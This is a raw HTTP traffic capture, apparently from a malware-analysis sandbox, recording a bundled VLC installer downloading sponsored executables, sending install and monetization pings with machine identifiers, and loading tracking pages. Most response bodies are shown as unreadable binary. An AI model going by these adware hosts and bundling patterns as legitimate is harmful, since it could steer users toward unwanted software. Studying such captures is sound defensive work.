......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u.a
..W.%!...n`2x7..5..#....$.....r..n.2...I..w9.#....a(H#C$..C..R.H$.....
[email protected]... [email protected].]....Z....L.. a4.4.T...d....*&l
t;..k2.1Q..d..bx.8.f...Wb...RO.X.$..F..c.X~...i...KS...5..#.....*.g...
...!...\.\.A....to..4..N........b<.L..j.Z...<.n*.3...`.....po~. 
h*...Ct.......z../.-k.....'&...5..[.Y.qu..K*..O .*.|.C<m....TP.UgM 
...n..6/7..U...j.............H3..E......vB.88.a....=.a...X..M...x....j
.".d..#T.s.....a."E.....-....c......o.9..........RW....x....8(.Nj..v..
9....H.EM...!..OVB..DgS0mJ.1$>...P..&....y.Y.........RkZ{..........
c....m.o.Z.qo.......w......q.s..PJQ_...y3mP.........wn....!.ea.L......
........f..%7"..C ..`.P.IL........G.c.bY.{X....M....m.<...3.^.fJ.t.
..Mm. . ..{..K...e..q.".....xh.h.U[........;.U..,. ..._.[.U..Q..i=}W..
.Bx..3Y.u..zm15..gV..OE.i.79..B....c..H..g..<i.aH..j_..O...0......o
...l.i.,}OQ.o".y}.>0...Q..gw#/....6.'.|.DX.....d...,..I....'...B.[_
........rB..DgS0m.5..#[email protected]@....*..|..(G...N......$
Z...........~......OT.A.......qc<..^.nHF..1.........5..#...&1m.;...
.......0...`.........H.1K.y....2t..Hz..-..d..............rv.z..uL.
<<< skipped >>>


GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d230jbvc0l4zpn.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 14 Dec 2014 04:56:36 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 14 Dec 2014 05:06:36 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 388

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 52d34eb8f2bf884db60fa2b0745f46ce.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0nH2c-mbTrrsNsn2lMbNcXHRDOj_r6VCPSRBSWbf1sw6YrT5juy6PA==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=553615, public, no-transform, must-revalidate

Last-Modified: Wed, 17 Dec 2014 02:34:46 GMT

Expires: Wed, 24 Dec 2014 02:34:46 GMT

Date: Wed, 17 Dec 2014 16:47:51 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2014121
7023446Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.l$.%t...............20141217023446Z....20141224023446Z0...*.H........
........!..4./....*Dj...$."......1.".x..C...}.o.u.-...:..V..IG.p......
.G@."..~...c.....s.5sf...C;.`C.S~.....v...H..w..V...oo.z7.}C...m...8.-
t..|?32.V...Q).txG.........Y.|N...l.#..;.......&.T.je.=.C?..f...T?....
(.iv.})_q.....R.'[email protected]),.....J...7.............#0...0...0......
....<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at h
ttps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Sign
ing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...U..
..VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of u
se at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3
 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.........{
(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(.......
...p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.}..
.r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....(n.
.i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U....0
.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisign.c
om/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp. by
 reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U........
0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H......
<<< skipped >>>


GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=766495&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:08 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....


GET /sd?is=sm HTTP/1.1

Range: bytes=291704-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 291704-583407/583408

Content-Length: 291704

Connection: keep-alive
l.1W.... .L.EY.k.,...........MuV.t3"...=....I8.E$..dI.f........>S..
.....C......@%..Q|E..2.....fww.~..]R.*$?).>.k...R.Al.6....j..j.@...
.....v5...\U..G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..
C.....WE.3h....).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=
....fM.F.....z...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9
.....U.....?.'......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..&l
t;.D..v.).i<:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<
;36..c}t..;....j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?...
..}.EeL..R....5"...(......../.....W..~..].@.. [email protected]
k%.Y...r]a.b.......)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D
..k...r.....IaPJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD
.N..'.4.......'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e
.........D....Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q.
........#....@$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae
.|..D......@[email protected]....\<1.|.*...m
>....o#.@..&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1..
.......x..n.O|.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].
U..e.d.,...g.=}4n......aH...a.....`..v.......'@...<R.L......."J(..#
#..nV'..f../V...w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F
...........M.....m.G.........s..X...|.......;......2..B..AAu4..Wu..B..
.lf..........BUw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$
..C..=...a..z.....G..?..i-.2.....hD..?....^?..B........~.....>]
<<< skipped >>>


GET /mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115




HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Expires: Wed, 17 Dec 2014 16:59:56 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Wed, 17 Dec 2014 16:44:56 GMT

Connection: close

Content-Length: 490
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;..8..]....../.6....i.
Wyu.....*........}l^..N...zyx..i....M>.U.."_....=-s....l..17...j.||
...............g...../... .....f...n..g.............>n..g......}...
...{...?}.......|{..L.g.................w.w...w..(t.(.U]...-..._.K....
......w~1.=....7..h.>.{..;............x....d.....B../..?.%..|.'..o}
......M1..}.....?.]f...).........U....B?.XGD..4......w.]|...8..(xg....
.q.......HTTP/1.1 200 OK..Cache-Control: public..Content-Type: applica
tion/x-javascript; charset=utf-8..Content-Encoding: gzip..Expires: Wed
, 17 Dec 2014 16:59:56 GMT..Vary: Accept-Encoding..Server: Microsoft-I
IS/8.0..X-AspNet-Version: 4.0.30319..Date: Wed, 17 Dec 2014 16:44:56 G
MT..Connection: close..Content-Length: 490...............`.I.%&/m.{.J.
J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J.
..!....?~|.?"....i[T..;..8..]....../.6....i.Wyu.....*........}l^..N...
zyx..i....M>.U.."_....=-s....l..17...j.||...............g...../... 
.....f...n..g.............>n..g......}......{...?}.......|{..L.g...
..............w.w...w..(t.(.U]...-..._.K..........w~1.=....7..h.>.{
..;............x....d.....B../..?.%..|.'..o}......M1..}.....?.]f...)..
.......U....B?.XGD..4......w.]|...8..(xg.....q.........
<<< skipped >>>


GET /home HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Pragma: no-cache

X-Page-Speed: 123_1_yq

X-PSA-Rewriter: fs

Date: Wed, 17 Dec 2014 16:47:44 GMT

Expires: Wed, 17 Dec 2014 16:47:44 GMT

Cache-Control: max-age=0, private, no-cache

Content-Encoding: gzip

Transfer-Encoding: chunked

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
28d..............]o.0.... ......tk(......X......$.........%.f][M.TiW9J
.>.9..|..v.....t..hb./:.(#4.u..:]ps.......#1WTS.1C.wm.#.::A(I.....&
gt;r.h..*Y..,.GI.i.h.k..nB.....R...i#[t.0.-.p..U. .k5..  .........m.@.
EN^.........U..!r....!e[.='.@)[email protected].`..U[v.Kut..> ....z2.
...j7..".`.......Lk.a.............x?.DL...w..U...Q?.s.y....g.K.6..&...
.j4.E. i...F.2"[email protected].}K...=.!...G.E..Cs.......N....}...o..
..r....*[email protected]...>..........S_......s..Fc1[.......
l4Z.[..k.n...IW...p.0....1....:...!)..e.Rc!$(f1.F.....'@F....88.%.....
...o.{.lk-.<.) .W...,P.}.....y......,-c..........O.*...=..Px.|...4S
.K.._...."'.....Tj...q8.D.X.D......../.......1b20...].r.8z....x....$..
v.[.-.....l.=5...P.M.4II.z.*...$W.mr.Jm..W.V..&..p.W..R.u........OK"..
.......>.37S.."PB...........7o?1H......V8..:..!E.4U..A.../QAP......
EF..... %.J...../...x..]........?.....{..g....w..*5....a3^.Zx........*
w) ..M......:[email protected]..`....p..!..z...cM...Bg.tv.....#...-.#4i..pEj..
..C...p...K..&....#/.p..u....^..>..>.....9.*..LP\..P.!.$.zp/.^..
.E./..J..z.g..A...o.....L..M.[...1M....\. ....9t....r..p..$.. i.6.....
k.M..f....I......d........\.X.....C.T.<..(...D(.2......"...a&...g,.
g.i.H,-..\...A...pcU.N..1.(.f...?;.ge...#.m...}..!........9Ag_...Z.7..
..P.....Y.....v.jE?.. [email protected]......$G*.X..
.9>.PfNw\/."g.{...|...o\..m.UN.....k..nB.......z.K..D.('.w..S......
.......v.wN.;m/.g&.....4...s.l.....ic.qcf...i.f.r.SrGA.....p....Z.X8..
]..4e:...5..n....N/p.|i......1.6.\..o.ve....z..T.....d.;....z..^*.
<<< skipped >>>

GET /images/loading.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=a53f763851584rv3e115lag0d6; _ga=GA1.2.917735623.1418834865; _gat=1




HTTP/1.1 200 OK

Server: nginx

Content-Type: image/gif

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

ETag: "5214ef07-211c"

Cache-Control: max-age=1800

Accept-Ranges: bytes

X-Original-Content-Length: 8476

Date: Wed, 17 Dec 2014 16:21:39 GMT

Expires: Wed, 17 Dec 2014 16:51:39 GMT

Transfer-Encoding: chunked

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
211c..GIF89a . .......................................................
......................................................................
......................................................................
.!..NETSCAPE2.0.....!.......,.... . .@[email protected]:].d.....Xla[.....
@$.,..T....G!.c>..#..p..0.yzk................#). ..........k..rwv&.
.. ./$/..._.B..}}..O\..(.O....'.O....e..N.....'..0.,....n..` #.(.#....
......&&.....tu..QH..P......-R1.. ..\,..."......@ ".. 9 .8.W..$...`L!I
....H....f#S~h..Z"==...XP.....Z`......*[email protected]`.NCP'..&,. @..Y.yR%
!..J..Q....!.....3.,...... ......pH..D.M$......Pqx=..l........r-gc..P.
y.He.R.Q.8/7i......!!yn.........^ ......#j^......^.....(.^*...P.Q.....
.R(....%.Q.....D......C...i.B.....3...................3..."..#........
".'....,@....{.T .P'[email protected]......#...0.....2....$..*%
.tya.L2H(8&..Bg..1.Ji.b...-`.`.....".HP.....=3.....Q.<....!.......,
...... [email protected]....... .T...H..c........PmB..v..FL..Ta8......6.RD%.
..!w$k.|]1.D....!.*.....!.E.I...#c../.D....M................S.....r.S.
...%.S.....D.....'.R......C....b.B..""..."."..............R7" .....P..
..x..z8!..B...$../...#Jp.."#..%.|[email protected]. ...3.)b..@....:.I
P.T&..G......S.F..tVA.P.6q...l...Z.....!.......,...... [email protected].%.....
[email protected]`......}..Rb.....Z.......O.a.oBY.D.ns.D%.....vXK|.mm..C..II....
......}.32.B ......%a....&.C.....'.D.&2.......D'.D...........*..#..._.
........"".N.......R..............=..'[email protected]<.P.B. .8D1b 
...P$....B."I*......%.|.!a.B.)R.l....:..%..Ya....Vd......D."U.T^..
<<< skipped >>>


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=2828796-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 19801565

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 2828796-22630360/22630361
...1Iyr][email protected].=..[..[.....C.....O._..[W.,~.j.B..
....%.&!.=qC<.Mi9..1.Bej..w.B...=.\....&.?..p.....-,i.9^.......x...
...[1...hT.*....,.;.....nb..S....~Vn...G.|..I...d:5..M<Q.x8P..Q.k..
.D..:.;.J......X.....^[email protected]..>..l..CG.MH4..M......
M....*a.@..;.J|7A.....(!-d.w-....".H.q".fmC.......8.|[email protected]&
i.....0.;....h......d...w.....,o..c..:h.4):.h.5..}1.........j..=....."
.s...S...eex..2..a..e4b.P...Q.1..........^b7y. .^.OZ.E..&9...wI...b:..
.v...(..u.-w.B..i..y......BX.Y..2.s.\....[w..t.2..aR.^..e...A.7.f.u(.*
..G..$..Iu4...1.....4C.{......%Xh'.[.......B.G.8 (.o.w..?.i.....`Y..)u
...B...7V....9\.!....2N...k....1,.....{[email protected]
%.......'...n...]..\&./@..&U[...([email protected].....<Zn.y../.=;.....
$._GU7..._.W..:..3.........T...'.......U=.G..".[..~'`......4.e/....S..
.e..........e......z..a..l.$<..~0...b..%!K..K...0Q._x..z.x9en....p.
.D.G..7....*.........pn/p"&........Dr*...t...rW...y..kI.%....".>.8.
..3.L.t..)....5....Mr...f-R.Y...*.....4..m....3..9a..F0.j.W..w.n.{Q?.^
F.n.{......G.........V.....%.D: ../...!......=.......H...W/$.....e9..*
rI.OMvz~.I.....J.9..C.|j..W....!.X.:...C..h...-.ktM....S......~...ab..
[email protected][email protected]|^.G..V"...._..K..$O.h..%
..3Q.....VP....=......b.Kk....<V._S...F.L.vY.q...j... .P.{..|...c..
ee.r.....o7.S..Q..ES...P.{......~.9.>_.... ..&....1.(..D.W9[y.V...!
.k.g.\7q..P.jg..k....>..$.r...g.4|..9m..q..4........6@Q\.p;o.....dI
)...=...e|{..-t....c.|..`B....RvK.0.R...'..3.W.........4.9.....[..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=sourceapp_network&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=2&index_in_screen=1&index_in_session=2&0.8512605859148192 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /monetization.gif?event=4&ibic=A6CD997E08804A369D8FB9D181719F3AIE&verifier=45a5d93e053e7aacbe23aedf1ed2b00a&campaign=000820&app=65743&bhover=1_35_11_26&xpiver=0_95&crxver=1_26_16&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1418834836&asw=0_1073750533_-2147475456_0&iep=1&chp=na&ffp=1&browser=ff,ie,de,te,tc&rnd=1418834836 HTTP/1.1

Host: logs.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:47:42 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1418834862.dop001.fr7.t,1418834862.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 17 Dec 
2014 16:47:42 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1418834862.dop001.fr7.t,1418834862.c
ds021.fr7.c..GIF89a.............,...........D..;..


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=109455-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 182425

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 109455-291879/291880
...............v... ........u..5HxC.3.................................
...........QP.._..Y........Yt.@......@B............;.|........X......H
H...............HH..j................................. tD......3......
[email protected].......
B..................t6.p...t/......t..... .....................3.......
......5HxC.V..k..Y.........p..............e........g......jiY;.tf..nt'
joY;..._...............y[.............M.............on......R.........
.. [email protected].................
...............u.jgXf;.uV...........J;.~.........=....~7..]...W.j...Y.
.............t..................................x....G...|.........P..
...................P........x...VP.5T.C.....B..............t!.......u.
......PV.5`.C.....B...YYjgXf9.....u...u.......PV.5\.C.....B...YY.>-
..................F...............j.....s..y...HH...............j'X...
.................x...j0Y..Qf......f.................U.............. t.
[email protected][email protected].....@t.;...|.;.s...............
..........u...........y.3.B.................~..........u..............
.J..............t=.......RPWQ."m....0................9~...............
......N.............. .F............tE..t..>0t<Nj0X..B.-..u..5Lx
C...............t.3.Of9.t......u. ........................@t .........
...j-Xf................j Y............ . ....u.......P......WQ.k......
..................Q......P......P.n.........t....u.......P......Wj0XP.
..........................................H............P.......pt.
<<< skipped >>>


GET /img/accelerating-videos.jpg HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....
<<< skipped >>>

GET /ConversionService/GetScript.ashx?s=finish&frame=1&aff= HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=hsbibmbkxhqe4i0vxoz5dfg4




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

